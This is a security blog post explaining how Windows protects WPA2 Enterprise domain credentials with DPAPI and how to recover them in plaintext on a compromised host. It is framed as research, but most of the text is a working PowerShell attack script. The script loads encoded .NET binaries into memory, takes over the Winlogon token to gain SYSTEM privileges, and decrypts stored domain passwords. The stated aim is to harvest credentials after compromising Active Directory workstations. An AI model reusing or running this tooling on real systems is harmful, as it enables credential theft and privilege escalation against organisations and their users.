Recovering Plaintext Domain Credentials from WPA2 Enterprise on a Compromised Host

( Original text  )

Introduction

Hello reader. In this post I will explain what I have learned from studying how windows stores credentials for WPA2 Enterprise.

This research conducted me to develop a tool capable of retrieving it, in plaintext! This could be useful when compromising AD workstations that use this kind of authentication in a Wireless Access Point.

Differences between WPA2 PSK and WPA2 Enterprise at Credential storage

To retrieve WPA2 PSK passwords there is no need for administrator rights or even elevated process, but for WPA2 Enterprise, it is needed. Because it is encrypted with SYSTEM DPAPI keys and only this user can decrypt it. So for that we need to own local administrator privileges.

When you first log-in to a WPA2 Enterprise network, DPAPI (Data Protection API) encrypts with the CURRENT USER encryption-key the domain password used to be connect to the AP. The result of this encryption is used to encrypt again, but now with SYSTEM encryption-key, alongside with Domain name and Username used to log-in to the AP.

The function used to decrypt the data, using the current-user DPAPI key is this one.

The procedure is like this:

  1. AP tells computer that log-in was successful with credentials inserted by the user.
  2. User encrypts password with DPAPI keys.
  3. SYSTEM encrypts domain and username with DPAPI keys alongside with output from step 2.
  4. SYSTEM stores data to HKCU registry hive.

How to retrieve this information

Do the reverse operation.

  1. Get data from HKCU registry hive
  2. Turn to SYSTEM and decrypt the first layer, this will decrypt Domain name and Username information.
  3. Revert back to user using RevertToSelf()
  4. Decrypt output from step 2 to get password plaintext data.

Proof-Of-Concept code

Enough of theory. I needed to dump my own credentials.

All code samples I found in the internet used PsExec to get a system shell. I dislike this method, and prefered to create a smooth experience by not relying on any external tool like tools from SysInternals. So I chose to use Token Impersonation from my “How to get system — Part 2” as it was working and only relies on PowerShell. This resulted in the following PowerShell script:


<span class="k">function </span>Get-System
<span class="o">{</span>
    <span class="k">if</span><span class="o">([</span>System.Threading.Thread]::CurrentThread.GetApartmentState<span class="o">()</span> -ne <span class="s1">'STA'</span><span class="o">)</span>
    <span class="o">{</span>
        <span class="nb">Write-Output</span> <span class="s2">"This powershell shell is not in STA mode!"</span>;
        <span class="k">return</span> ;
    <span class="o">}</span>

    <span class="k">if</span><span class="o">(</span>-not <span class="o">([</span>System.Management.Automation.PSTypeName]<span class="s2">"zc00l.ImpersonationToken"</span><span class="o">)</span>.Type<span class="o">)</span> <span class="o">{</span>
        <span class="o">[</span>Reflection.Assembly]::Load<span class="o">([</span>Convert]::FromBase64String<span class="o">(</span><span class="s2">"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nACfAAkAoACkAAkApACpAAkAqACuAAkArACzAAkAsAC4AC4ACwApAS4AEwAyAS4AGwBRAS4AIwBaAS4AKwB1AS4AMwB1AS4AOwB1AS4AQwBaAS4ASwB7AS4AUwB1AS4AWwB1AS4AYwCTAS4AawC9AS4AcwDKAeMAewByABMAwAAlAMAAKQDAADQAvQA8AL0AGgAiADwAXgAcBSkFAAEDALkEAQBAAQUAYAcCAEABCQC0BQEAAAELAHMFAQBAAQ0AZAUBAEABDwDUBgEAQAERAGwHAgBAARMA+wQBAASAAAABAAAAAAAAAAAAAAAAANsAAAAEAAAAAAAAAAAAAABpACkCAAAAAAQAAAAAAAAAAAAAAGkAWAUAAAAAAwACAAQAAgAFAAIABgACAAcAAgAnAFkAAAAAPE1vZHVsZT4AVE9LRU5fUkVBRABTVEFOREFSRF9SSUdIVFNfUkVBRABTRV9QUklWSUxFR0VfRU5BQkxFRABTVEFOREFSRF9SSUdIVFNfUkVRVUlSRUQAU0VfUFJJVklMRUdFX1JFTU9WRUQAVE9LRU5fQURKVVNUX1NFU1NJT05JRABMVUlEAFRPS0VOX1FVRVJZX1NPVVJDRQBUT0tFTl9EVVBMSUNBVEUAVE9LRU5fSU1QRVJTT05BVEUAU0VDVVJJVFlfSU1QRVJTT05BVElPTl9MRVZFTABJbXBlcnNvbmF0aW9uVG9rZW5ETEwAUFJPQ0VTU19RVUVSWV9JTkZPUk1BVElPTgBUT0tFTl9QUklWSUxFR0VTAFRPS0VOX0FESlVTVF9QUklWSUxFR0VTAExVSURfQU5EX0FUVFJJQlVURVMAVE9LRU5fQURKVVNUX0dST1VQUwBUT0tFTl9BTExfQUNDRVNTAFNFX1BSSVZJTEVHRV9VU0VEX0ZPUl9BQ0NFU1MAUFJJVklMRUdFX1NFVABUT0tFTl9BREpVU1RfREVGQVVMVABTRV9QUklWSUxFR0VfRU5BQkxFRF9CWV9ERUZBVUxUAEFOWVNJWkVfQVJSQVkAVE9LRU5fQVNTSUdOX1BSSU1BUlkAUFJJVklMRUdFX1NFVF9BTExfTkVDRVNTQVJZAFRPS0VOX1FVRVJZAHZhbHVlX18AU2V0UXVvdGEAbXNjb3JsaWIAcHJvYwBnZXRfSWQAcHJvY2Vzc0lkAFZpcnR1YWxNZW1vcnlSZWFkAENyZWF0ZVRocmVhZABJc1ByaXZpbGVnZUVuYWJsZWQAcGlkAGxwTHVpZABFbmFibGVQcml2aWxlZ2UARHVwbGljYXRlSGFuZGxlAER1cGxpY2F0ZVRva2VuSGFuZGxlAEV4aXN0aW5nVG9rZW5IYW5kbGUAcEhhbmRsZQBQcm9jZXNz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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span><span class="o">))</span> | Out-Null
        <span class="nb">Write-Verbose</span> <span class="s2">"DLL has been reflected."</span>
    <span class="o">}</span>
   
    <span class="k">if</span><span class="o">(</span>-not <span class="o">[</span>zc00l.ImpersonationToken]::ImpersonateProcessToken<span class="o">((</span><span class="nb">Get-Process </span>Winlogon<span class="o">)</span>.Id<span class="o">))</span>
    <span class="o">{</span>
        <span class="nb">Write-Output</span> <span class="s2">"Could not Impersonate Token! Maybe you are not Local Admin?"</span>;
        <span class="k">return</span>;
    <span class="o">}</span>
    <span class="nb">Write-Output</span> <span class="s2">"We are: </span><span class="k">$(</span><span class="o">[</span>Environment]::Username<span class="k">)</span><span class="s2">"</span>
<span class="o">}</span>

<span class="k">function </span>Check-System
<span class="o">{</span>
    <span class="k">if</span><span class="o">([</span>Environment]::Username -eq <span class="s2">"SYSTEM"</span><span class="o">)</span>
    <span class="o">{</span>
        <span class="k">return</span> <span class="nv">$true</span>
    <span class="o">}</span>
    <span class="k">return</span> <span class="nv">$false</span>
<span class="o">}</span>

<span class="k">function </span>Get-WlanEnterprisePassword
<span class="o">{</span>
   
    <span class="k">if</span><span class="o">([</span>Environment]::Username -ne <span class="s2">"SYSTEM"</span><span class="o">)</span>
    <span class="o">{</span>
        <span class="c1"># Only SYSTEM user can dump the first stage decryption.</span>
        Get-System
        <span class="k">if</span><span class="o">(</span>-not <span class="o">(</span>Check-System<span class="o">))</span>
        <span class="o">{</span>
            <span class="nb">Write-Output</span> <span class="s2">"Only SYSTEM can dump DPAPI secrets!"</span>
            <span class="k">return</span>
        <span class="o">}</span>
    <span class="o">}</span>

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    <span class="o">[</span>Reflection.Assembly]::Load<span class="o">([</span>Convert]::FromBase64String<span class="o">(</span><span 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b3BTZXJ2aWNlcwBPdXRBdHRyaWJ1dGUAY2lwaGVyVGV4dEJ5dGVzAGFyZ3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAERsbEltcG9ydEF0dHJpYnV0ZQBjcnlwdDMyLmRsbABUeXBlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAE1hcnNoYWwAU2l6ZU9mAEJ5dGUAQWxsb2NIR2xvYmFsAEludFB0cgBaZXJvAG9wX0VxdWFsaXR5AEV4Y2VwdGlvbgBDb3B5AFN0cmluZwBFbXB0eQBTeXN0ZW0uVGV4dABFbmNvZGluZwBnZXRfVVRGOABHZXRCeXRlcwBDb252ZXJ0AFRvQmFzZTY0U3RyaW5nAEdldExhc3RXaW4zMkVycm9yAFN5c3RlbS5Db21wb25lbnRNb2RlbABXaW4zMkV4Y2VwdGlvbgBvcF9JbmVxdWFsaXR5AEZyZWVIR2xvYmFsAEZyb21CYXNlNjRTdHJpbmcAR2V0U3RyaW5nAC5jY3RvcgBvcF9FeHBsaWNpdABTdHJ1Y3RMYXlvdXRBdHRyaWJ1dGUATGF5b3V0S2luZABTVEFUaHJlYWRBdHRyaWJ1dGUAQ29uc29sZQBXcml0ZUxpbmUAZ2V0X01lc3NhZ2UAZ2V0X0lubmVyRXhjZXB0aW9uAAAAZVUAbgBhAGIAbABlACAAdABvACAAYQBsAGwAbwBjAGEAdABlACAAZABhAHQAYQAgAGIAdQBmAGYAZQByACAAZgBvAHIAIABCAEwATwBCACAAcwB0AHIAdQBjAHQAdQByAGUALgAAQ0MAYQBuAG4AbwB0ACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAHAAbABhAGkAbgB0AGUAeAB0ACAAQgBMAE8AQgAuAAA/QwBhAG4AbgBvAHQAIABpAG4AaQB0AGkAYQBsAGkAegBlACAAZQBuAHQAcgBvAHAAeQAgAEIATABPAEIALgAAMUMAcgB5AHAAdABQAHIAbwB0AGUAYwB0AEQAYQB0AGEAIABmAGEAaQBsAGUAZAAuAABDRABQAEEAUABJACAAdwBhAHMAIAB1AG4AYQBi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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAADAAAAJAzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="</span><span class="o">))</span> | Out-Null
   
    <span class="o">[</span>Reflection.Assembly]::Load<span class="o">([</span>Convert]::FromBase64String<span class="o">(</span><span class="s2">"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